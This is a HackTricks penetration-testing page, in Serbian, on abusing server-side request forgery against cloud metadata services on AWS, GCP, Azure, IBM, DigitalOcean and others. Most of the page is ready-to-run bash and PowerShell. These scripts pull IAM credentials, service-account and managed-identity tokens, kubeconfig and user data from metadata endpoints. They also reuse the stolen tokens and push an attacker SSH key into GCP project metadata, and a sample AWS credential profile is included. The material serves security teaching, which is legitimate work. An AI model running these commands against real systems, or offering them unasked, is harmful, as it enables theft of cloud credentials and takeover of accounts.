hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

# Cloud SSRF

<details>

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</details>

**Try Hard Security Group**

<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

***

## AWS

### Zloupotreba SSRF-a u AWS EC2 okruženju

**Metadata** endpoint može biti pristupačan sa bilo kog EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na url-u: `http://169.254.169.254` ([informacije o metapodacima ovde](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).

Postoje **2 verzije** metadata endpointa. **Prva** verzija omogućava pristup endpointu putem **GET** zahteva (tako da ga bilo koji **SSRF može iskoristiti**). Za **verziju 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), morate zatražiti **token** slanjem **PUT** zahteva sa **HTTP zaglavljem** i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je **komplikovanije zloupotrebiti** sa SSRF-om).

{% hint style="danger" %}
Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor na PUT zahtev** će imati **limit preusmeravanja od 1**, što čini nemogućim pristup metapodacima EC2 iz kontejnera unutar EC2 instance.

Osim toga, **IMDSv2** će takođe **blokirati zahteve za dobijanje tokena koji uključuju zaglavlje `X-Forwarded-For`**. Ovo je kako bi se sprečilo da netačno konfigurisani obrnuti proxy serveri mogu pristupiti tome.
{% endhint %}

Možete pronaći informacije o [metadata endpointima u dokumentaciji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). U sledećem skriptu se dobijaju neke zanimljive informacije iz njega:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
Kao primer izloženih **javno dostupnih IAM akreditiva** možete posetiti: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)

Takođe možete proveriti javne **EC2 bezbednosne akreditive** na: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)

Zatim možete **koristiti te akreditive sa AWS CLI**. To će vam omogućiti da radite **sve što ta uloga ima dozvolu da radi**.

Da biste iskoristili nove akreditive, moraćete da kreirate novi AWS profil kao ovaj:
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Primetite **aws\_session\_token**, to je neophodno da bi profil radio.

[**PACU**](https://github.com/RhinoSecurityLabs/pacu) se može koristiti sa otkrivenim pristupnim podacima da biste saznali vaše privilegije i pokušali da eskalirate privilegije

### SSRF u AWS ECS (Container Service) pristupnim podacima

**ECS**, je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate svoju sopstvenu infrastrukturu za upravljanje klasterima jer ECS to upravlja umesto vas. Ako uspete da kompromitujete servis koji se izvršava u **ECS**, **metadata endpointi se menjaju**.

Ako pristupite _**http://169.254.170.2/v2/credentials/\<GUID>**_ pronaći ćete pristupne podatke ECS mašine. Ali prvo morate **pronaći \<GUID>**. Da biste pronašli \<GUID> morate pročitati **environ** promenljivu **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** unutar mašine.\
Možda ćete moći da je pročitate eksploatišući **Path Traversal** do `file:///proc/self/environ`\
Pomenuta http adresa trebalo bi da vam pruži **AccessKey, SecretKey i token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
Imajte na umu da u **nekim slučajevima** možete pristupiti **EC2 metapodacima** iz kontejnera (proverite ograničenja IMDSv2 TTL navedena ranije). U ovim scenarijima iz kontejnera možete pristupiti i ulozi IAM kontejnera i ulozi EC2.
{% endhint %}

### SSRF za AWS Lambda <a href="#id-6f97" id="id-6f97"></a>

U ovom slučaju, **poverljivi podaci se čuvaju u env promenljivama**. Dakle, da biste im pristupili, morate pristupiti nečemu poput **`file:///proc/self/environ`**.

**Nazivi** zanimljivih env promenljivih su:

* `AWS_SESSION_TOKEN`
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`

Pored IAM podataka, Lambda funkcije takođe imaju **podatke događaja koji se prosleđuju funkciji prilikom pokretanja**. Ovi podaci su dostupni funkciji putem [interfejsa za izvršavanje](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogu sadržati **poverljive informacije** (kao unutar **stageVariables**). Za razliku od IAM podataka, ovi podaci su dostupni putem standardnog SSRF-a na **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.

{% hint style="warning" %}
Imajte na umu da su **Lambda poverljivi podaci** unutar **env promenljivih**. Dakle, ako **stek trag** koda lambda funkcije štampa env promenljive, moguće je **izvući ih izazivajući grešku** u aplikaciji.
{% endhint %}

### SSRF URL za AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>

Dobijamo `accountId` i `region` iz API-ja.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
Zatim dobijamo `AccessKeyId`, `SecretAccessKey` i `Token` sa API-ja.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)

Zatim koristimo pristupne podatke sa `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.

## GCP <a href="#id-6440" id="id-6440"></a>

Možete [**ovde pronaći dokumentaciju o krajnjim tačkama metapodataka**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).

### SSRF URL za Google Cloud <a href="#id-6440" id="id-6440"></a>

Potreban je HTTP zaglavlje **`Metadata-Flavor: Google`** i možete pristupiti krajnjoj tački metapodataka sa sledećim URL-ovima:

* http://169.254.169.254
* http://metadata.google.internal
* http://metadata

Interesantne tačke za izvlačenje informacija:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta trenutno NE zahteva zaglavlje (hvala Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
Da biste **koristili ukradeni token naloga za usluge**, jednostavno uradite sledeće:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
```
{% endhint %}

### Dodavanje SSH ključa <a href="#id-3e24" id="id-3e24"></a>

Izvucite token
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Proverite opseg tokena (sa prethodnim izlazom ili pokretanjem sledećeg)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Sada gurnite SSH ključ. 

{% code overflow="wrap" %}
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
{% endcode %}

### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>

Metadata endpoint radi na isti način kao i kod virtuelnih mašina, ali bez nekih endpointa:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>

{% hint style="warning" %}
Nema stvari poput AWS uloga ili GCP servisnog naloga, stoga nemojte očekivati da pronađete metapodatke bot kredencijala
{% endhint %}

Dokumentacija dostupna na [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
## Azure <a href="#cea8" id="cea8"></a>

### Azure VM

[**Dokumentacija** ovde](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).

* **Mora** sadržati zaglavlje `Metadata: true`
* Ne sme sadržati zaglavlje `X-Forwarded-For`
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{% endcode %}
{% endtab %}

{% tab title="PS" %}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
### Azure App Service

Iz **env** možete dobiti vrednosti `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. To možete koristiti da biste prikupili token za komunikaciju sa serverom metapodataka.

Većinu vremena, želite token za jedan od ovih resursa:

* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
* [https://graph.microsoft.com](https://graph.microsoft.com/)
* [https://management.azure.com](https://management.azure.com/)
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
```

```powershell
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>

{% hint style="warning" %}
Imajte na umu da u IBM-u podrazumevano nije omogućen metapodaci, tako da je moguće da im nećete moći pristupiti čak i ako ste unutar IBM-ovog cloud VM-a.
{% endhint %}

{% code overflow="wrap" %}
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
{% endcode %}

Dokumentacija za različite platforme metadata servisa je detaljno opisana u nastavku, ističući metode putem kojih se može pristupiti konfiguracionim i informacijama o izvršavanju instanci. Svaka platforma nudi jedinstvene endpointe za pristup svojim metadata servisima.

## Packetcloud

Za pristup metapodacima Packetcloud-a, dokumentacija se može pronaći na: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)

## OpenStack/RackSpace

Nije navedena potreba za zaglavljem. Metapodaci se mogu pristupiti putem:

* `http://169.254.169.254/openstack`

## HP Helion

Ni ovde nije navedena potreba za zaglavljem. Metapodaci su dostupni na:

* `http://169.254.169.254/2009-04-04/meta-data/`

## Oracle Cloud

Oracle Cloud pruža niz endpointa za pristup različitim aspektima metapodataka:

* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`

## Alibaba

Alibaba nudi endpointe za pristup metapodacima, uključujući instance i ID slike:

* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`

## Kubernetes ETCD

Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pristup je prikazan putem:

* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`

## Docker

Docker metapodaci se mogu pristupiti lokalno, sa primerima za dobijanje informacija o kontejnerima i slikama:

* Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker socketa:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* Unutar kontejnera, koristite curl sa Docker socketom:
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`

## Rancher

Metapodaci Rancher-a se mogu pristupiti korišćenjem:

* `curl http://rancher-metadata/<version>/<path>`